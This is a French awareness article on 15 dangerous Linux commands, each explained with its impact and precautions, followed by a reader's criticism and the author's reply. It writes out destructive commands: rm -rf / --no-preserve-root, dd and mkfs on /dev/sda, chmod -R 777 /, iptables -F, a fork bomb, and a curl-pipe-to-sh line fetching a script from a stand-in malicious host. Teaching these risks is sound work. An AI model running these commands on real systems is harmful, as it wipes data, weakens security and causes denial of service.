Survival Guide : 15 commandes Linux à éviter pour ne pas tout casser !
Sommaire
I. Présentation
L'administration d'une machine sous Linux s'effectue bien souvent à partir de la ligne de commande. Le problème, c'est que certaines commandes Linux utilisées à mauvais escient ou avec de mauvais paramètres peuvent provoquer d'importants dégâts sur la machine locale. Cela peut avoir un impact non négligeable, surtout dans un environnement de production.
Dans cet article destiné à vous sensibiliser, nous vous présentons 15 commandes à éviter ou à utiliser avec extrême précaution. Chaque commande est accompagnée par des explications pour que vous puissiez comprendre leur impact potentiel.
Si vous souhaitez partager d'autres commandes dangereuses, pensez à commenter cet article.
II. Les commandes dangereuses sous Linux
A. Commandes de suppression et de formatage
1. Le nettoyeur de l'extrême
L'objectif de cette commande est de supprimer récursivement tous les fichiers à partir de la racine ("/"). L'impact est colossal sur la machine locale puisque cette commande va engendrer l'effacement complet du système, ce qui est irréversible. Utilisez toujours des chemins explicites et évitez d'utiliser rm avec des privilèges root sans précaution.
rm -rf /
Un garde-fou sur les distributions Linux récentes vous empêchera d'exécuter cette commande, puisque le texte "il est dangereux d'opérer récursivement sur '/'" est retourné. Il est possible de forcer l'opération de cette façon :
rm -rf / --no-preserve-root
2. La remise à zéro
Cette commande a pour objectif d'écrire des zéros sur le disque précisé, depuis sa racine, à savoir ici "/dev/sda", effaçant ainsi toutes les données. L'impact est la suppression totale des données du disque ! Soyez extrêmement précis avec la source et la destination lors de l'utilisation de la commande dd.
dd if=/dev/zero of=/dev/sda
3. Le formateur
Cette commande formate un disque entier en ext4 (système de fichiers), ce qui supprime toutes les données existantes. Quand vous avez besoin d'effectuer une opération de ce type, ce qui peut se présenter lors de l'ajout d'un disque, par exemple, assurez-vous de toujours vérifier le disque cible.
mkfs.ext4 /dev/sda
La bonne nouvelle, c'est qu'elle est majoritairement bloquée à partir du moment où mkfs détecte que le disque ciblé est utilisé par le système.
4. Recherche et destruction
L'objectif de cette commande est de rechercher et de supprimer tous les fichiers correspondant à "*" à partir de la racine. Autrement dit, cela va appliquer l'action de suppression à tous les fichiers de la machine, ce qui aura pour impact une suppression massive de fichiers. Le problème, c'est que les fichiers critiques du système ne seront pas épargnés. Le système deviendra instable et les problèmes s'enchaineront si cette commande est exécutée. Pour éviter les problèmes, testez vos commandes find avec l’option "-print" avant d’ajouter "-delete".
find / -name \"\*\" -delete
B. Commandes impactant le système ou les services
5. L'arrêt brutal
Cette commande sert à arrêter immédiatement le système. L'impact peut être neutre ou important, en fonction du contexte. Un arrêt des services et des connexions en cours en pleine production peut avoir un impact fort. Si c'est un arrêt effectué dans le cadre d'une opération de maintenance, ce ne sera pas le cas. Pour prévenir les extinctions accidentelles, vous pouvez installer molly-guard sur votre machine Linux. Il est recommandé de planifier les arrêts.
shutdown now
6. Le redémarrage sauvage
L'objectif de cette commande est de redémarrer le système sans avertissement. L'impact est un risque de corruption de données si des connexions actives sont en cours. Dans le même principe que pour les arrêts, l'impact peut être plus ou moins important, selon le contexte. Là encore, il est recommandé de planifier les redémarrages et d'y associer une communication appropriée.
reboot
7. L'assassin
Cette commande permet de tuer tous les processus actifs sur la machine, y compris ceux essentiels au bon fonctionnement du système. L'impact est non négligeable puisque cela va engendrer le blocage ou le redémarrage du système. Utilisez cette commande uniquement pour des processus ciblés.
kill -9 -1
8. L'arrêt des services
Cette commande force l’arrêt d'un service sur la machine locale, ce qui aura pour impact de rendre une application indisponible. Préférez l'utilisation de l'option "restart" à la place de "stop" pour redémarrer un service, sauf si vous avez la volonté d'arrêter le service dans le cadre d'une opération de maintenance.
systemctl stop <nom du service>
C. Commandes impactant le réseau
9. La perte de connectivité
La commande ci-dessous a un seul et unique objectif : désactiver une interface réseau, en l'occurrence ici "eth0". L'impact est la coupure immédiate de la connectivité réseau, ce qui peut être problématique sur un serveur distant : vous pouvez perdre la main dessus ! Mais, au-delà de cela, vous allez aussi empêcher les connexions des clients, ce qui peut être un problème si le serveur héberge une application.
ip link set eth0 down
La commande ci-dessus est équivalente à celle-ci :
ifconfig eth0 down
10. Le routeur improvisé
La commande ci-dessous active le routage IPv4 sur une machine Linux. Ceci va potentiellement ouvrir des flux réseau non désirés, car la machine peut être utilisée pour accéder à d'autres réseaux (tout dépend du contexte).
echo 1 > /proc/sys/net/ipv4/ip_forward
# ou
sudo bash -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
D. Commandes affectant la sécurité
11. Le faiseur de failles
Cette commande a pour objectif de retirer toutes les restrictions de sécurité sur les fichiers, puisqu'elle va donner des permissions de lecture, d'écriture et d'exécution sur l'ensemble du système de fichiers. Ceci crée des failles de sécurité sur le système puisque tous les fichiers deviennent accessibles en écriture à n'importe quel utilisateur. Utilisez des permissions minimales et évitez de travailler directement sur la racine. Pour en savoir plus, vous pouvez consulter notre article dédié à la commande chmod.
chmod -R 777 /
12. Le maître de tous les fichiers
L'objectif est de changer les propriétés de tous les fichiers du système pour qu'ils appartiennent à root. En effet, cette commande définit le compte "root" en tant qu'utilisateur propriétaire et root en tant que groupe (ce qui a un impact sur les permissions). De ce fait, l'impact global est une désorganisation des droits d’accès, perturbant potentiellement de nombreuses applications.
chown -R root:root /
13. L'open bar
Cette commande sert à supprimer toutes les règles de pare-feu grâce à iptables, car l'option "-F" correspond à "--flush", ce qui engendre un nettoyage des règles. Conséquence directe : le système ne sera pas protégé par le filtrage du pare-feu, ce qui va l'exposer à des attaques (augmentation de la surface d'attaque). Pensez à sauvegarder vos règles avant de les modifier ou de les purger.
iptables -F
14. Le téléchargement malveillant
La première commande permet de télécharger un fichier, tandis que la seconde télécharge et exécute le fichier. Dans le cas où ce script sera malveillant, cela peut avoir un impact important : la machine peut être infectée par un malware ! Cet exemple vise surtout à vous sensibiliser quant au téléchargement de fichiers : vérifiez vos sources et quand il s'agit d'un script, prenez le temps de vérifier sa provenance (et de le parcourir).
wget https://repo.domaine.fr/script.sh
curl -o- http://script-malveillant | sh
E. La Fork Bomb
La 15ème commande de cette liste est l'une des plus connues de cette liste et peut être utilisée pour faire de mauvaises blagues (entre étudiants, par exemple). L'objectif de cette fameuse Fork Bomb est de créer une boucle infinie de processus jusqu’à l’épuisement des ressources CPU. Résultat, la machine peut fortement ralentir et même se bloquer complètement. Autrement dit, cette commande permet de mettre en œuvre une attaque par déni de service sur une machine Linux.
:(){ :|:& };:
III. Conclusion
Vous l'aurez compris, certaines commandes peuvent être utiles dans des contextes bien précis, tandis que d'autres sont à bannir absolument. Surtout, vous devez exécuter des commandes sur votre machine uniquement lorsque vous comprenez ce qu'elles font, qu'elles soient référencées ou non dans cet article. Soyez toujours prudent !
Article à éviter qui contient pas mal de bêtises. Je le suis arrêté à la 5 car j’utilise cette commande shutdown now et ça n’a rien d’un arrêt brutal, c’est juste la ligne de commande pour shutdown sans le GUI.
Hello g4ws,
J’ai volontairement accentué sur la description de certaines commandes pour coller avec l’esprit de l’article. Mais, bien entendu, la commande shutdown est celle à utiliser pour effectuer un arrêt de la machine en ligne de commande. L’idée ici étant de mettre en avant le fait qu’un arrêt peut avoir d’importante conséquence, en fonction du contexte… Avec cet article, je voulais mettre en avant des commandes dangereuses, mais aussi d’autres commandes d’administration basique pour insister sur le fait qu’il est important d’y réfléchir à deux fois avant de les lancer, car il faut déjà en mesurer l’impact.